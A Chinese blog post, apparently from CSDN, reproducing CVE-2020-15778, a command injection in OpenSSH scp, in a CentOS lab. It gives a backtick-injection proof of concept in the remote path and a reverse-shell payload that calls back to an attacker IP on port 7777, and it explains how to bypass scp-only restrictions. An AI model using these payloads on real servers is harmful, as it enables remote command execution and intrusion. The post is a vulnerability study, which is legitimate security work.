scp命令怎么算执行完毕了_CVE202015778 Openssh命令注入漏洞复现

一、关于SCP:

scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

漏洞标题:OpenSSH 8.3p1中的scp允许进行eval注入

发现人:Chinmay Pandya

产品:Openssh

受影响的组件:SCP

漏洞版本:<= openssh-8.3p1

CVE编号:CVE-2020-15778

根据漏洞发现者的github,指出漏洞出现在此处989行代码,可进行命令注入

1e3b99bd2dca2c76756e02917632d1c9.png

二、漏洞复现:

测试环境:centos7,ssh版本如下:

12f7893bbcba50f27a4a9db8815da2ca.png

1、scp基础用法:

scp test.txt test@192.168.136.133:/tmp/test2.txt

91add87e5a093032a779de71d7b07948.png

命令解析:将test.txt文件上传到192.168.136.133的/tmp 目录下的 test2.txt

但是前提是要知道ssh的密码

c9753f62447e0ff05c6e2cf32453f291.png

2、poc payload:

scp  /sourcefile remoteserver:'`touch /tmp/exploit.sh`/targetfile'

在向远程主机拷贝文件时,文件的路径会追加到本地scp命令后,当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令

SCP支持带有“ -r”选项的目录传输。由于linux允许在文件名中使用反引号(`)。攻击者可以在文件名中创建有效负载,并且当受害者将完整文件夹应对到远程服务器时,该文件名中的有效负载将执行。

利用实例:

scp test.txt test@192.168.136.133:'`touch /tmp/exploit.sh`/tmp/test1.txt'

``是执行的命令

211491e458ac1109bdbfdeef1bccdc7d.png

exploit.sh成功被创建:

93b2b010e64a54928742646ab8d46281.png

3、直接反弹shell:

scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'

4e3da36c5864f4b11ff16cc03aa9ca85.png

反弹shell成功:

16fed38a8b4f3b38c1d1a825724ee6aa.png

三、实际环境中的利用方案以及场景:

对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到了ssh的用户密码,但是不允许ssh连接,或者ip等各种限制,可以尝试此漏洞进行利用

参考链接:

https://github.com/cpandya2909/CVE-2020-15778/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值